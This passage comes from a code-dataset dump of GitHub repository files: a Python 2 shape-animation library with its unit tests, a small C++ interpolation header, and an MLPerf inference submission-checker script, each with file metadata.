0.0)\n self._phase = timed_interpolation.TimedInterpolation()\n self._phase.set(0.137, 0.0)\n self._thick = timed_interpolation.TimedInterpolation()\n self._thick.set(0.137, 0.0)\n self.fill = 1\n\n\n def get_primitive(self):\n if self.type == \"/circle\" :\n params = [self._x1.update(), self._y1.update(), self._size.update(), self.fill]\n elif self.type == \"/triangle\" :\n params = [self._x1.update(), self._y1.update(), self._size.update(), self._angle.update(), self.fill]\n elif self.type == \"/square\" :\n params = [self._x1.update(), self._y1.update(), self._size.update(), self._angle.update(), self.fill]\n elif self.type == \"/rect\" :\n params = [self._x1.update(), self._y1.update(), self._x2.update(), self._y2.update(), self._angle.update(), self.fill]\n elif self.type == \"/line\" :\n params = [self._x1.update(), self._y1.update(), self._x2.update(), self._y2.update(), self._thick.update()]\n elif self.type == \"/arc\" :\n params = [self._x1.update(), self._y1.update(), self._x2.update(), self._y2.update(), self._height.update()]\n elif self.type == \"/wave\" :\n params = [self._x1.update(), self._y1.update(), self._x2.update(), self._y2.update(), self._freq.update(), self._amp.update(), self._phase.update(), self._thick.update()]\n else:\n print \"---- Shape.send() :: Unknown type was set !!\"\n\n return (self.type, params)\n\n\n\n def get(self, variable):\n tmp = None\n #the variable is flg. return the value simply.\n if variable == \"uid\" or variable == \"active\" or variable == \"fill\" or variable == \"name\" or variable == \"type\" :\n src = \"tmp = self.\" + variable\n exec(src)\n return tmp\n else:\n src = \"tmp = self._\" + variable + \".update()\"\n exec(src)\n return tmp\n\n\n\n\n def set(self, variable, *args):\n\n if args:\n val = args[0]\n size = len(args)\n\n if variable == \"uid\" or variable == \"active\" or variable == \"fill\" :\n src = \"self.\" + variable + \"=\" + str(val)\n exec(src)\n return\n elif variable == \"name\" or variable == \"type\" :\n # when the variable is array, then use \"\"\n src = \"self.\" + variable + \"=\" + \"\\\"\" + str(val) + \"\\\"\"\n exec(src)\n return\n\n\n if size == 2:\n # if the second argument was set, set it as duration\n duration = args[1]\n else:\n duration = 0.0\n\n # set interpolation\n src = \"self._\" + variable + \".set(\" + str(val) + \" , \" + str(duration) + \")\"\n exec(src)\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5354838967323303, "alphanum_fraction": 0.5483871102333069, "avg_line_length": 20.714284896850586, "blob_id": "98610086c74770f9c456bdbbc40098c20615e265", "content_id": "c55919f1bbe334027b9d9cac6b618c6249572036", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 155, "license_type": "no_license", "max_line_length": 41, "num_lines": 7, "path": "/send_all.py", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "from sonilab import event\n\ndef run(array):\n for elm in array:\n adr = elm[0]\n params = elm[1]\n event.bang(\"/send\" , adr, params)\n\n\n\n" }, { "alpha_fraction": 0.5246913433074951, "alphanum_fraction": 0.5432098507881165, "avg_line_length": 16.72222137451172, "blob_id": "d1c11c12332deb445c94ec48340c3e2c36dd07c5", "content_id": "8f1a983db3b971a7e6f876f71b3fdb09107e9efd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 324, "license_type": "no_license", "max_line_length": 34, "num_lines": 18, "path": "/ut_send_all.py", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "from sonilab import event\nimport send_all\n\n\ndef send (adr, params):\n print adr , \" : \" ,\n for elm in params :\n print elm ,\n print \" /// \"\n\nevent.add(\"/send\" , send)\n\n\narray = []\narray.append( (\"/test1\",[1,'a']) )\narray.append( (\"/test2\",[2,'b']) )\narray.append( (\"/test3\",[3,'c']) )\nsend_all.run(array)\n\n\n\n\n\n" }, { "alpha_fraction": 0.550840437412262, "alphanum_fraction": 0.6296500563621521, "avg_line_length": 21.681249618530273, "blob_id": "eb6ed35298083b5cf444224fd36c7884320af9af", "content_id": "46de37e5dda15bee2d074aec6dca4bf302eec1b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3629, "license_type": "no_license", "max_line_length": 105, "num_lines": 160, "path": "/ut_shape.py", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "import shape\nfrom sonilab import sl_metro\n\nmetro = sl_metro.Metro(1.0)\n\n\nshape.Shape.__doc__\nobj = shape.Shape(\"/circle\" , \"foo\")\n\n# obj.type = \"SQUARE\"\nobj.active = True\nobj.set(\"x1\" , 0.1)\nobj.set(\"y1\" , 0.2)\nobj.set(\"y1\" , 0.2)\nobj.set(\"x2\" , 0.3)\nobj.set(\"y2\" , 4.0)\n\nobj.set(\"size\" , 0.131)\nobj.set(\"height\" , 0.132)\nobj.set(\"angle\" , 0.133)\nobj.set(\"freq\" , 0.134)\nobj.set(\"amp\" , 0.135)\nobj.set(\"phase\" , 0.136)\nobj.set(\"thick\" , 0.139)\nobj.fill = False\n\n\n#check all parameters with get method\nassert obj.get(\"type\") == \"/circle\"\nassert obj.get(\"name\") == \"foo\"\nassert obj.get(\"active\") == 1\nassert obj.get(\"x1\") == 0.1\nassert obj.get(\"y1\") == 0.2\nassert obj.get(\"x2\") == 0.3\nassert obj.get(\"y2\") == 4.0\n\nassert obj.get(\"size\") == 0.131\nassert obj.get(\"height\") == 0.132\nassert obj.get(\"angle\") == 0.133\nassert obj.get(\"freq\") == 0.134\nassert obj.get(\"amp\") == 0.135\nassert obj.get(\"phase\") == 0.136\nassert obj.get(\"thick\") == 0.139\nassert obj.get(\"fill\") == 0\n\n\n#Test parameter managements\nobj.set(\"type\" , \"/circle\") #Test set parameter with set method\nrt = obj.get_primitive()\nassert rt[0] == \"/circle\"\nparams = rt[1]\nassert params[0] == 0.1\nassert params[1] == 0.2\nassert params[2] == 0.131\nassert params[3] == 0\n\n#Triangle Test\nobj.set(\"type\" , \"/triangle\")\nrt = obj.get_primitive()\nassert rt[0] == \"/triangle\"\nparams = rt[1]\nassert params[0] == 0.1\nassert params[1] == 0.2\nassert params[2] == 0.131\nassert params[3] == 0.133\nassert params[4] == 0\n\n#Square Test\nobj.set(\"type\" , \"/square\")\nrt = obj.get_primitive()\nassert rt[0] == \"/square\"\nparams = rt[1]\nassert params[0] == 0.1\nassert params[1] == 0.2\nassert params[2] == 0.131\nassert params[3] == 0.133\nassert params[4] == 0\n\n#Rect Test\nobj.set(\"type\" , \"/rect\")\nrt = obj.get_primitive()\nassert rt[0] == \"/rect\"\nparams = rt[1]\nassert params[0] == 0.1\nassert params[1] == 0.2\nassert params[2] == 0.3\nassert params[3] == 4.0\nassert params[4] == 0.133\nassert params[5] == 0\n\n#Line Test\nobj.set(\"type\" , \"/line\")\nrt = obj.get_primitive()\nassert rt[0] == \"/line\"\nparams = rt[1]\nassert params[0] == 0.1\nassert params[1] == 0.2\nassert params[2] == 0.3\nassert params[3] == 4.0\nassert params[4] == 0.139\n\n#ARC Test\nobj.set(\"type\" , \"/arc\")\nrt = obj.get_primitive()\nassert rt[0] == \"/arc\"\nparams = rt[1]\nassert params[0] == 0.1\nassert params[1] == 0.2\nassert params[2] == 0.3\nassert params[3] == 4.0\nassert params[4] == 0.132\n\n#WAVE Test\nobj.set(\"type\" , \"/wave\")\nrt = obj.get_primitive()\nassert rt[0] == \"/wave\"\nparams = rt[1]\nassert params[0] == 0.1\nassert params[1] == 0.2\nassert params[2] == 0.3\nassert params[3] == 4.0\nassert params[4] == 0.134\nassert params[5] == 0.135\nassert params[6] == 0.136\nassert params[7] == 0.139\n\n\n#TEST .set method with int\nobj.set(\"uid\" , 137)\nassert obj.uid == 137\nobj.set(\"active\" , 138)\nassert obj.active == 138\nobj.set(\"fill\" , 139)\nassert obj.fill == 139\n\n# TEST .set method with string\nobj.set(\"type\" , \"str_test_for_type\")\nassert obj.type == \"str_test_for_type\"\nobj.set(\"name\" , \"str_test_for_name\")\nassert obj.name == \"str_test_for_name\"\n\n#restore the shape type\nobj.set(\"type\" , \"/wave\")\nobj.set(\"x1\" , 0.0)\nprint \"Basically, you should use setter and getter methods.\"\nprint \"ex obj.set(\\\"X1\\\", 2.0)\\n\"\n\n#interpolation demo\nprint \"If you set variables with second as second argment then the parameter thanged with interpolation.\"\nprint \"ex. obj.set(\\\"x1\\\" , 10.0, 10.0) # <- means make x1 value change to 10.0 with 10.0 seconds\"\nobj.set(\"x1\" , 10.0, 10.0)\nwhile True:\n if metro.update():\n tmp = obj.get_primitive()\n params = tmp[1]\n print params[0]\n if params[0]==10.0:\n break\n\nprint \"OK\"\n" }, { "alpha_fraction": 0.6654411554336548, "alphanum_fraction": 0.6654411554336548, "avg_line_length": 13.368420600891113, "blob_id": "dbc6a73b081c0d0013753c20b8cff551b6eae43d", "content_id": "24d2ffb8d11e7aa08f459797fb416329aac52036", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 272, "license_type": "no_license", "max_line_length": 53, "num_lines": 19, "path": "/ref/interpolation.h", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nclass Interpolation {\n\n\tpublic:\n\tInterpolation();\n\tvoid init(float got_st, float got_ed, int got_step);\n\tfloat update();\t\n\n\tfloat st;\n\tfloat ed;\n\tfloat now;\n\tint step;\n\tint step_count;\n \n //For weaver, circle Generate\n float random_scale;\n\n};" }, { "alpha_fraction": 0.635030210018158, "alphanum_fraction": 0.6867989897727966, "avg_line_length": 25.340909957885742, "blob_id": "fc818d67d52221705f850674dcad1888e453e321", "content_id": "9546a9f50b45b8d600b10093af71e94448697e30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1159, "license_type": "no_license", "max_line_length": 88, "num_lines": 44, "path": "/ut_shapes.py", "repo_name": "sonir/vsyn_model", "src_encoding": "UTF-8", "text": "import time\nimport shapes, shape\n\ncircle1 = shape.Shape(\"/circle\" , \"circle1\")\nrect1 = shape.Shape(\"/rect\" , \"rect1\")\n\nshapes.add(circle1.name, circle1)\nshapes.add(rect1.name, rect1)\nshapes.print_all()\n\n#Check set UID\ntupple_adr_and_params1 = shapes.get_primitive(circle1.name)\ntupple_adr_and_params2 = shapes.get_primitive(rect1.name)\nassert tupple_adr_and_params1[1][0] == 0\nassert tupple_adr_and_params2[1][0] == 1\n\n\n#check get_all\nall_obj = shapes.get_all()\nfor elm in all_obj:\n obj = elm[1]\n print elm[0], \":\" , obj[0], \",\" , obj[1], \",\" , obj[2], \",\" , obj[3]\n\n\n\n#How to write and reat each shape\nshapes.set(\"circle1\" , \"x1\", 777.0) #You can set plural parameters with set method\ncircle1 = shapes.get(\"circle1\") #You can each shape objects with get method\nassert circle1.get(\"x1\") == 777.0\n\n\n#You can set param with time transition\nshapes.set(\"circle1\" , \"x1\", 700.0 , 2.0) #You can set plural parameters with set method\ncircle1._x1.print_params()\n\nwhile circle1.get(\"x1\") != 700.0:\n print circle1.get(\"x1\") #print the transition\n time.sleep(0.1)\n\n\n#You can see all objects and the parameters with print_all()\nshapes.print_all()\n\nprint \"OK\"\n" } ]
9
darkrsw/inference
https://github.com/darkrsw/inference
dac542de8874eff4c5463d974f7e57a67f76caed
8472fed1b560c15b28008ef2d7ef478f4099087b
77cf3d6749cb0442b86faffe7dd94639a7a788df
refs/heads/master
2021-08-18T02:36:23.434685
2019-10-10T07:52:58
2019-10-10T07:52:58
200,174,077
0
0
Apache-2.0
2019-08-02T05:56:12
2019-10-01T23:24:05
2019-10-10T07:52:59
Python
[ { "alpha_fraction": 0.5348993539810181, "alphanum_fraction": 0.5408557057380676, "avg_line_length": 36.60252380371094, "blob_id": "e14cd72fc7098e0cbb72f879e6a6f9673c069c67", "content_id": "49f1fa5933939f73d5d2445143da86296a82d67e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11920, "license_type": "permissive", "max_line_length": 125, "num_lines": 317, "path": "/v0.5/tools/submission/submission-checker.py", "repo_name": "darkrsw/inference", "src_encoding": "UTF-8", "text": "\"\"\"\nA checker for mlperf inference submissions\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport argparse\nimport collections\nimport json\nimport logging\nimport os\nimport re\nimport sys\nimport time\n\n# pylint: disable=missing-docstring\n\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger(\"main\")\n\nVALID_MODELS = [\"ssd-small\", \"ssd-large\", \"mobilenet\", \"resnet\", \"gnmt\"]\nVALID_DIVISIONS = [\"open\", \"closed\"]\nREQUIRED_PERF_FILES = [\"mlperf_log_accuracy.json\", \"mlperf_log_summary.txt\", \"mlperf_log_detail.txt\"]\nREQUIRED_ACC_FILES = REQUIRED_PERF_FILES + [\"accuracy.txt\"]\nREQUIRED_MEASURE_FILES = [\"mlperf.conf\", \"user.conf\", \"README.md\"]\nPERFORMANCE_SAMPLE_COUNT = {\n \"mobilenet\": 1024,\n \"resnet50\": 1024,\n \"resnet\": 1024,\n \"ssd-mobilenet\": 256,\n \"ssd-small\": 256,\n \"ssd-resnet34\": 64,\n \"ssd-large\": 64,\n \"gnmt\": 3903900,\n}\n\n\ndef get_args():\n \"\"\"Parse commandline.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input\", required=True, help=\"submission directory\")\n parser.add_argument(\"--submitter\", help=\"filter to submitter\")\n args = parser.parse_args()\n return args\n\n\ndef list_dir(*path):\n path = os.path.join(*path)\n return [f for f in os.listdir(path) if os.path.isdir(os.path.join(path, f))]\n\n\ndef list_files(*path):\n path = os.path.join(*path)\n return [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]\n\n\ndef split_path(m):\n return m.replace(\"\\\\\", \"/\").split(\"/\")\n\n\ndef check_accuracy_dir(model, dir):\n is_valid = False\n # look for: accuracy=... or mAP=...\n with open(os.path.join(dir, \"accuracy.txt\"), \"r\") as f:\n for line in f:\n m = re.match(\"^accuracy=([\\d\\.]+).*\", line)\n if m:\n is_valid = True\n break\n m = re.match(\"^mAP=([\\d\\.]+).*\", line)\n if m:\n is_valid = True\n break\n m = re.match(\"^BLEU\\:\\s*([\\d\\.]+).*\", line)\n if m:\n is_valid = True\n break\n # check if there are any errors in the detailed log\n fname = os.path.join(dir, \"mlperf_log_detail.txt\")\n with open(fname, \"r\") as f:\n for line in f:\n # look for: ERROR\n if \"ERROR\" in line:\n # TODO: should this be a failed run?\n log.warning(\"{} contains errors\".format(fname))\n return is_valid\n\n\ndef check_performance_dir(model, dir):\n is_valid = False\n rt = {}\n # look for: Result is: VALID\n fname = os.path.join(dir, \"mlperf_log_summary.txt\")\n with open(fname, \"r\") as f:\n for line in f:\n m = re.match(\"^Result\\s+is\\s*\\:\\s+VALID\", line)\n if m:\n is_valid = True\n m = re.match(\"^\\s*([\\w\\s.\\(\\)\\/]+)\\s*\\:\\s*([\\d\\.]+).*\", line)\n if m:\n rt[m.group(1).strip()] = m.group(2).strip()\n\n if int(rt['performance_sample_count']) < PERFORMANCE_SAMPLE_COUNT[model]:\n log.error(\"{} performance_sample_count should be {}\".format(fname, PERFORMANCE_SAMPLE_COUNT[model]))\n is_valid = False\n\n # check if there are any errors in the detailed log\n fname = os.path.join(dir, \"mlperf_log_detail.txt\")\n with open(fname, \"r\") as f:\n for line in f:\n # look for: ERROR\n if \"ERROR\" in line:\n # TODO: does this make the run fail?\n log.warning(\"{} contains errors\".format(fname))\n\n return is_valid\n\n\ndef files_diff(list1, list2):\n \"\"\"returns a list of files that are missing or added.\"\"\"\n if list1 and list2:\n for i in [\"mlperf_log_trace.json\", \"results.json\"]:\n try:\n list1.remove(i)\n except:\n pass\n if len(list1) > len(list2):\n return list(set(list1) - set(list2))\n else:\n return list(set(list2) - set(list1))\n return []\n\n\ndef check_results_dir(dir, filter_submitter):\n good_submissions = []\n bad_submissions = {}\n\n for division in list_dir(\".\"):\n for submitter in list_dir(division):\n if filter_submitter and submitter != filter_submitter:\n continue\n results_path = os.path.join(division, submitter, \"results\")\n for system_desc in list_dir(results_path):\n # check if system_id is good. Report failure for each model/scenario.\n system_id_json = os.path.join(division, submitter, \"systems\", system_desc + \".json\")\n device_bad = not os.path.exists(system_id_json)\n for model in list_dir(results_path, system_desc):\n if model not in VALID_MODELS:\n bad_submissions[os.path.join(system_desc, model)] = \\\n \"{} has an invalid model name {}\".format(os.path.join(results_path, system_desc), model)\n log.error(\"{} has an invalid model name {}\".format(os.path.join(results_path, system_desc), model))\n continue\n for scenario in list_dir(results_path, system_desc, model):\n name = os.path.join(results_path, system_desc, model, scenario)\n acc_path = os.path.join(name, \"accuracy\")\n if not os.path.exists(os.path.join(acc_path, \"accuracy.txt\")):\n log.error(\"{} has no accuracy.txt. Generate it with accuracy-imagenet.py or accuracy-coco.py or \"\n \"process_accuracy.py\".format(acc_path))\n diff = files_diff(list_files(acc_path), REQUIRED_ACC_FILES)\n if diff:\n bad_submissions[name] = \"{} has file list mismatch ({})\".format(acc_path, diff)\n continue\n if not check_accuracy_dir(model, acc_path):\n bad_submissions[name] = \"{} has issues\".format(acc_path)\n continue\n n = [\"1\"]\n if scenario in [\"Server\"]:\n n = [\"1\", \"2\", \"3\", \"4\", \"5\"]\n for i in n:\n perf_path = os.path.join(name, \"performance\", \"run_\" + str(i))\n diff = files_diff(list_files(perf_path), REQUIRED_PERF_FILES)\n if diff:\n bad_submissions[name] = \"{} has file list mismatch ({})\".format(perf_path, diff)\n continue\n if not check_performance_dir(model, perf_path):\n bad_submissions[name] = \"{} has issues\".format(perf_path)\n continue\n if device_bad:\n bad_submissions[name] = \"{}: no such system id {}\".format(name, system_desc)\n else:\n good_submissions.append(name)\n for k, v in bad_submissions.items():\n log.error(v)\n for name in good_submissions:\n log.info(\"{} OK\".format(name))\n\n return good_submissions, bad_submissions\n\n\ndef compare_json(fname, template, errors):\n error_count = len(errors)\n try:\n with open(fname, \"r\") as f:\n j = json.load(f)\n # make sure all required sections/fields are there\n for k, v in template.items():\n sz = j.get(k)\n if sz is None and v == \"required\":\n errors.append(\"{} field {} missing\".format(fname, k))\n\n # make sure no undefined sections/fields are in the meta data\n for k, v in j.items():\n z = template.get(k)\n if z is None:\n errors.append(\"{} has unknwon field {}\".format(fname, k))\n except Exception as ex:\n errors.append(\"{} unexpected error {}\".format(fname, ex))\n return error_count == len(errors)\n\n\ndef check_system_desc_id(good_submissions, systems_json):\n errors = []\n checked = set()\n for submission in good_submissions:\n parts = split_path(submission)\n system_desc = parts[3]\n submitter = parts[1]\n division = parts[0]\n if division not in VALID_DIVISIONS:\n errors.append((\"{} has invalid division {}\".format(submission, j[\"submitter\"], division)))\n continue\n\n fname = os.path.join(parts[0], parts[1], \"systems\", system_desc + \".json\")\n if fname not in checked:\n checked.add(fname)\n if not compare_json(fname, systems_json, errors):\n continue\n with open(fname, \"r\") as f:\n j = json.load(f)\n if j[\"submitter\"] != submitter:\n errors.append((\"{} has submitter {}, directory has {}\".format(fname, j[\"submitter\"], submitter)))\n continue\n if j[\"division\"] != division:\n errors.append((\"{} has division {}, division has {}\".format(fname, j[\"division\"], division)))\n continue\n log.info(\"{} OK\".format(fname))\n if errors:\n for i in errors:\n log.error(i)\n return errors\n\n\ndef check_measurement_dir(good_submissions, systems_imp_json):\n errors = []\n for submission in good_submissions:\n parts = split_path(submission)\n system_desc = parts[3]\n measurement_dir = os.path.join(parts[0], parts[1], \"measurements\", system_desc)\n if not os.path.exists(measurement_dir):\n errors.append(\"{} directory missing\".format(measurement_dir))\n continue\n model = parts[4]\n scenario = parts[5]\n fname = os.path.join(measurement_dir, model, scenario)\n files = list_files(fname)\n system_file = None\n for i in REQUIRED_MEASURE_FILES:\n if i not in files:\n errors.append(\"{} is missing {}\".format(fname, i))\n for i in files:\n if i.startswith(system_desc) and i.endswith(\"_\" + scenario + \".json\"):\n system_file = i\n end = len(\"_\" + scenario + \".json\")\n break\n elif i.startswith(system_desc) and i.endswith(\".json\"):\n system_file = i\n end = len(\".json\")\n break\n if system_file:\n compare_json(os.path.join(fname, system_file), systems_imp_json, errors)\n impl = system_file[len(system_desc) + 1:-end]\n code_dir = os.path.join(parts[0], parts[1], \"code\", model, impl)\n if not os.path.exists(code_dir):\n errors.append(\"{} is missing\".format(code_dir))\n else:\n log.info(\"{} OK\".format(fname))\n else:\n errors.append(\"{} is missing {}*.json\".format(fname, system_desc))\n\n if errors:\n for i in errors:\n log.error(i)\n return errors\n\n\ndef main():\n args = get_args()\n\n script_path = os.path.dirname(sys.argv[0])\n with open(os.path.join(script_path, \"system_desc_id.json\"), \"r\") as f:\n systems_json = json.load(f)\n with open(os.path.join(script_path, \"system_desc_id_imp.json\"), \"r\") as f:\n systems_imp_json = json.load(f)\n\n os.chdir(args.input)\n\n # 1. check results directory\n good_submissions, bad_submissions = check_results_dir(args.input, args.submitter)\n\n # 2. check the meta data under systems\n meta_errors = check_system_desc_id(good_submissions, systems_json)\n\n # 3. check measurement and code dir\n measurement_errors = check_measurement_dir(good_submissions, systems_imp_json)\n if bad_submissions or meta_errors or measurement_errors:\n log.error(\"SUMMARY: there are errros in the submission\")\n return 1\n else:\n log.info(\"SUMMARY: submission looks OK\")\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n" } ]
1
znc-sistemas/django-bootstrap-form
https://github.com/znc-sistemas/django-bootstrap-form
6885e7dafbf07c6eb3cf70bc5e1ee40e06d6a567
0b485efcbec9b882aa26729d192426a453f916ba
fb8f4355f962abf5a4d639dbe2dae024b8b256fc
refs/heads/master
2021-01-18T10:15:05.951881
2014-10-10T17:10:18
2014-10-10T17:10:18
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.606569766998291, "alphanum_fraction": 0.6106569766998291, "avg_line_length": 30.607654571533203, "blob_id": "5bb9e2f43ace1fc709828db31d890877e91bf997", "content_id": "c501b64cad0d1959bda7881d1ac5989d3fdbdf94", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6606, "license_type": "permissive", "max_line_length": 115, "num_lines": 209, "path": "/bootstrapform/templatetags/bootstrap.py", "repo_name": "znc-sistemas/django-bootstrap-form", "src_encoding": "UTF-8", "text": "import re\n\nfrom math import floor\nfrom django import forms\nfrom django.template import Context\nfrom django.template.loader import get_template\nfrom django import template\n\nfrom bootstrapform import config\n\nregister = template.Library()\n\n\n@register.filter\ndef bootstrap(element):\n markup_classes = {'label': '', 'value': '', 'single_value': ''}\n return render(element, markup_classes)\n\n\n@register.filter\ndef bootstrap_inline(element):\n markup_classes = {'label': 'sr-only', 'value': '', 'single_value': ''}\n return render(element, markup_classes)\n\n\n@register.filter\ndef bootstrap_horizontal(element, label_cols={}):\n if not label_cols:\n label_cols = 'col-sm-2 col-lg-2'\n\n markup_classes = {\n 'label': label_cols,\n 'value': '',\n 'single_value': ''\n }\n\n for cl in label_cols.split(' '):\n splited_class = cl.split('-')\n\n try:\n value_nb_cols = int(splited_class[-1])\n except ValueError:\n value_nb_cols = config.BOOTSTRAP_COLUMN_COUNT\n\n if value_nb_cols >= config.BOOTSTRAP_COLUMN_COUNT:\n splited_class[-1] = config.BOOTSTRAP_COLUMN_COUNT\n else:\n offset_class = cl.split('-')\n offset_class[-1] = 'offset-' + str(value_nb_cols)\n splited_class[-1] = str(config.BOOTSTRAP_COLUMN_COUNT - value_nb_cols)\n markup_classes['single_value'] += ' ' + '-'.join(offset_class)\n markup_classes['single_value'] += ' ' + '-'.join(splited_class)\n\n markup_classes['value'] += ' ' + '-'.join(splited_class)\n\n return render(element, markup_classes)\n\n\ndef add_input_classes(field):\n if not is_checkbox(field) and not is_multiple_checkbox(field) and not is_radio(field) and not is_file(field):\n field_classes = field.field.widget.attrs.get('class', '')\n field_classes += ' form-control'\n field.field.widget.attrs['class'] = field_classes\n\n\ndef render(element, markup_classes):\n element_type = element.__class__.__name__.lower()\n\n if element_type == 'boundfield':\n add_input_classes(element)\n template = get_template(\"bootstrapform/field.html\")\n context = Context({'field': element, 'classes': markup_classes})\n else:\n has_management = getattr(element, 'management_form', None)\n if has_management:\n for form in element.forms:\n for field in form.visible_fields():\n add_input_classes(field)\n\n template = get_template(\"bootstrapform/formset.html\")\n context = Context({'formset': element, 'classes': markup_classes})\n else:\n for field in element.visible_fields():\n add_input_classes(field)\n\n template = get_template(\"bootstrapform/form.html\")\n context = Context({'form': element, 'classes': markup_classes})\n\n return template.render(context)\n\n\n@register.filter\ndef is_checkbox(field):\n return isinstance(field.field.widget, forms.CheckboxInput)\n\n\n@register.filter\ndef is_multiple_checkbox(field):\n return isinstance(field.field.widget, forms.CheckboxSelectMultiple)\n\n\n@register.filter\ndef is_radio(field):\n return isinstance(field.field.widget, forms.RadioSelect)\n\n\n@register.filter\ndef is_file(field):\n return isinstance(field.field.widget, forms.FileInput)\n\n\n@register.filter\ndef pagination(page, pages_to_show=11):\n \"\"\"\n Generate Bootstrap pagination links from a page object\n \"\"\"\n context = get_pagination_context(page, pages_to_show)\n return get_template(\"bootstrapform/pagination.html\").render(Context(context))\n\n\n@register.inclusion_tag(\"bootstrapform/pagination.html\")\ndef bootstrap_pagination(page, **kwargs):\n \"\"\"\n Render pagination for a page\n \"\"\"\n pagination_kwargs = kwargs.copy()\n pagination_kwargs['page'] = page\n return get_pagination_context(**pagination_kwargs)\n\n\ndef get_pagination_context(page, pages_to_show=11, url=None, size=None, align=None, extra=None):\n \"\"\"\n Generate Bootstrap pagination context from a page object\n \"\"\"\n pages_to_show = int(pages_to_show)\n if pages_to_show < 1:\n raise ValueError(\"Pagination pages_to_show should be a positive integer, you specified %s\" % pages_to_show)\n num_pages = page.paginator.num_pages\n current_page = page.number\n half_page_num = int(floor(pages_to_show / 2)) - 1\n if half_page_num < 0:\n half_page_num = 0\n first_page = current_page - half_page_num\n if first_page <= 1:\n first_page = 1\n if first_page > 1:\n pages_back = first_page - half_page_num\n if pages_back < 1:\n pages_back = 1\n else:\n pages_back = None\n last_page = first_page + pages_to_show - 1\n if pages_back is None:\n last_page += 1\n if last_page > num_pages:\n last_page = num_pages\n if last_page < num_pages:\n pages_forward = last_page + half_page_num\n if pages_forward > num_pages:\n pages_forward = num_pages\n else:\n pages_forward = None\n if first_page > 1:\n first_page -= 1\n if pages_back > 1:\n pages_back -= 1\n else:\n pages_back = None\n pages_shown = []\n for i in range(first_page, last_page + 1):\n pages_shown.append(i)\n # Append proper character to url\n if url:\n # Remove existing page GET parameters\n url = unicode(url)\n url = re.sub(r'\\?page\\=[^\\&]+', u'?', url)\n url = re.sub(r'\\&page\\=[^\\&]+', u'', url)\n # Append proper separator\n if u'?' in url:\n url += u'&'\n else:\n url += u'?'\n # Append extra string to url\n if extra:\n if not url:\n url = u'?'\n url += unicode(extra) + u'&'\n if url:\n url = url.replace(u'?&', u'?')\n # Set CSS classes, see http://twitter.github.io/bootstrap/components.html#pagination\n pagination_css_classes = ['pagination']\n if size in ['small', 'large', 'mini']:\n pagination_css_classes.append('pagination-%s' % size)\n if align == 'center':\n pagination_css_classes.append('pagination-centered')\n elif align == 'right':\n pagination_css_classes.append('pagination-right')\n # Build context object\n return {\n 'bootstrap_pagination_url': url,\n 'num_pages': num_pages,\n 'current_page': current_page,\n 'first_page': first_page,\n 'last_page': last_page,\n 'pages_shown': pages_shown,\n 'pages_back': pages_back,\n 'pages_forward': pages_forward,\n 'pagination_css_classes': ' '.join(pagination_css_classes),\n }\n" } ]
1
Jinho1011/Wesing
https://github.com/Jinho1011/Wesing
326e0c269ad7c87456a2091f9643fffa000660f6
79f38b5aaeb9239a90495dae50eecd42c4bde1fa
3efd06e48f16176ac7c6a659bbab7522993996e3
refs/heads/master
2022-12-02T09:36:23.963845
2020-08-18T04:45:37
2020-08-18T04:45:37
288,363,985
1
0
null
2020-08-18T05:34:03
2020-08-18T04:45:46
2020-08-18T05:15:53
null
[ { "alpha_fraction": 0.6674008965492249, "alphanum_fraction": 0.6674008965492249, "avg_line_length": 30.310344696044922, "blob_id": "3970e7261f5e2b83524ed5545dd5de766b69927a", "content_id": "3ff25400166dcd6edc95b45cf100e4c37b69f605", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 948, "license_type": "no_license", "max_line_length": 68, "num_lines": 29, "path": "/song/views.py", "repo_name": "Jinho1011/Wesing", "src_encoding": "UTF-8", "text": "from django.urls import reverse\nfrom django.shortcuts import render, redirect\nfrom django.forms import modelformset_factory\nfrom django.views.generic import *\nfrom .models import *\n\n\nclass IndexView(ListView):\n model = Song\n template_name = 'song/song_list.html'\n\n def get_context_data(self, **kwargs):\n context = super(IndexView, self).get_context_data(**kwargs)\n context['navbar_title'] = 'AAC로 노래해요'\n context['navbar_subtitle'] = 'AAC로 노래해요'\n return context\n\n\nclass DetailView(DetailView):\n model = Song\n template_name = 'song/song_detail.html'\n\n def get_context_data(self, **kwargs):\n image = Image.objects.select_related('song')\n context = super(DetailView, self).get_context_data(**kwargs)\n context['navbar_title'] = 'AAC로 노래해요'\n context['navbar_subtitle'] = 'AAC로 노래해요'\n context['images'] = image\n return context\n" } ]
1
Frozen/jinja2-precompiler
https://github.com/Frozen/jinja2-precompiler
617a790c5e848877d3ce687dd15898c70d1494ad
88ae4896b4b432c09592bdbc23847eb70f2d9e74
112f12c57a37936cd14043865821e3987ec90a04
refs/heads/master
2021-01-17T06:59:24.361869
2014-01-06T11:07:12
2014-01-06T11:07:12
null
0
0
null
null
null
null
null
